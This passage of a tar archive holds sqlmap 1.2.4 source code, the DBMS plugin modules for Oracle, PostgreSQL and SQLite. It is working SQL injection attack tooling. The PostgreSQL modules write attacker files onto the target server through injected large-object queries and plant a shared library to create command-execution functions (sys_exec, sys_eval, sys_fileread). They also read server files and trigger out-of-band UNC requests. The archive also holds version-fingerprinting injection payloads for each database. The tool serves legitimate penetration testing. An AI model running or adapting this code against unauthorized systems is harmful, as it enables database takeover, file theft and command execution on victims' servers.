conf.db = conf.db.upper() if conf.tbl: conf.tbl = conf.tbl.upper() ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/syntax.py����������������������������������������������������������0000664�0000000�0000000�00000001361�13260122637�0020571�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("%s(%d)" % ("CHR" if ord(value[i]) < 256 else "NCHR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/takeover.py��������������������������������������������������������0000664�0000000�0000000�00000002214�13260122637�0021061�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/���������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017626�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/__init__.py����������������������������������������������������0000664�0000000�0000000�00000002626�13260122637�0021745�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.postgresql.enumeration import Enumeration from plugins.dbms.postgresql.filesystem import Filesystem from plugins.dbms.postgresql.fingerprint import Fingerprint from plugins.dbms.postgresql.syntax import Syntax from plugins.dbms.postgresql.takeover import Takeover from plugins.generic.misc import Miscellaneous class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines PostgreSQL methods """ def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF parameters' input data-type and return data-type "sys_exec": {"input": ["text"], "return": "int4"}, "sys_eval": {"input": ["text"], "return": "text"}, "sys_bineval": {"input": ["text"], "return": "int4"}, "sys_fileread": {"input": ["text"], "return": "text"} } Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape ����������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/connector.py���������������������������������������������������0000664�0000000�0000000�00000003771�13260122637�0022202�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import psycopg2 import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) except: pass from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://initd.org/psycopg/ User guide: http://initd.org/psycopg/docs/ API: http://initd.org/psycopg/docs/genindex.html Debian package: python-psycopg2 License: GPL Possible connectors: http://wiki.python.org/moin/PostgreSQL """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) except psycopg2.OperationalError, msg: raise SqlmapConnectionException(msg) self.connector.set_client_encoding('UNICODE') self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError, msg: logger.warn(msg) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: logger.warn(("(remote) %s" % msg).strip()) except psycopg2.InternalError, msg: raise SqlmapConnectionException(msg) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal �������sqlmap-1.2.4/plugins/dbms/postgresql/enumeration.py�������������������������������������������������0000664�0000000�0000000�00000000753�13260122637�0022533�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warn(warnMsg) ���������������������sqlmap-1.2.4/plugins/dbms/postgresql/filesystem.py��������������������������������������������������0000664�0000000�0000000�00000005416�13260122637�0022372�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None self.page = None GenericFilesystem.__init__(self) def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.initEnv() return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) content = open(wFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, wFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/fingerprint.py�������������������������������������������������0000664�0000000�0000000�00000015424�13260122637�0022535�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PGSQL return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False setDbms(DBMS.PGSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): Backend.setVersion(">= 9.5.0") elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"): Backend.setVersionList([">= 9.3.0", "< 9.4.0"]) elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"): Backend.setVersionList([">= 9.2.0", "< 9.3.0"]) elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"): Backend.setVersionList([">= 9.1.0", "< 9.2.0"]) elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"): Backend.setVersionList([">= 9.0.0", "< 9.1.0"]) elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"): Backend.setVersionList([">= 8.4.0", "< 9.0.0"]) elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): Backend.setVersionList([">= 8.3.0", "< 8.4.0"]) elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): Backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"): Backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"): Backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"): Backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"): Backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): Backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"): Backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"): Backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): Backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): Backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE,1,1))"): Backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap',1,1))"): Backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: Backend.setVersion("< 6.2.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/syntax.py������������������������������������������������������0000664�0000000�0000000�00000002004�13260122637�0021522�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar' """ def escaper(value): return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/postgresql/takeover.py����������������������������������������������������0000664�0000000�0000000�00000010006�13260122637�0022015�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): # The DLL can be in any folder where postgres user has # read/write/execute access is valid # NOTE: by not specifing any path, it will save into the # data directory, on PostgreSQL 8.3 it is # C:\Program Files\PostgreSQL\8.3\data. self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) # On Linux else: # The SO can be in any folder where postgres user has # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "9.4": majorVer = "9.4" elif banVer >= "9.3": majorVer = "9.3" elif banVer >= "9.2": majorVer = "9.2" elif banVer >= "9.1": majorVer = "9.1" elif banVer >= "9.0": majorVer = "9.0" elif banVer >= "8.4": majorVer = "8.4" elif banVer >= "8.3": majorVer = "8.3" elif banVer >= "8.2": majorVer = "8.2" else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) try: if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_") checkFile(_) self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" except SqlmapSystemException: errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch()) raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) inp = ", ".join(i for i in inpRet["input"]) ret = inpRet["return"] # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp)) inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016724�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000002013�13260122637�0021031�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SQLITE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sqlite.enumeration import Enumeration from plugins.dbms.sqlite.filesystem import Filesystem from plugins.dbms.sqlite.fingerprint import Fingerprint from plugins.dbms.sqlite.syntax import Syntax from plugins.dbms.sqlite.takeover import Takeover from plugins.generic.misc import Miscellaneous class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SQLite methods """ def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/connector.py�������������������������������������������������������0000664�0000000�0000000�00000005653�13260122637�0021301�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import sqlite3 except: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite User guide: http://docs.python.org/release/2.5/lib/module-sqlite3.html API: http://docs.python.org/library/sqlite3.html Debian package: python-sqlite (SQLite 2), python-pysqlite3 (SQLite 3) License: MIT Possible connectors: http://wiki.python.org/moin/SQLite """ def __init__(self): GenericConnector.__init__(self) self.__sqlite = sqlite3 def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warn(warnMsg) try: try: import sqlite except ImportError: errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) return None def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) except self.__sqlite.DatabaseError, msg: raise SqlmapConnectionException(msg[0]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() �������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/enumeration.py�����������������������������������������������������0000664�0000000�0000000�00000003541�13260122637�0021627�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): errMsg = "on SQLite it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" logger.warn(warnMsg) ���������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/filesystem.py������������������������������������������������������0000664�0000000�0000000�00000001322�13260122637�0021460�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/fingerprint.py�����������������������������������������������������0000664�0000000�0000000�00000006075�13260122637�0021635�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import METADB_SUFFIX from lib.core.settings import SQLITE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SQLITE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SQLITE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True infoMsg = "testing %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: infoMsg = "confirming %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") version = '3' if result else '2' Backend.setVersion(version) setDbms(DBMS.SQLITE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/sqlite/syntax.py����������������������������������������������������������0000664�0000000�0000000�00000002412�13260122637�0020623�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import isDBMSVersionAtLeast from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as 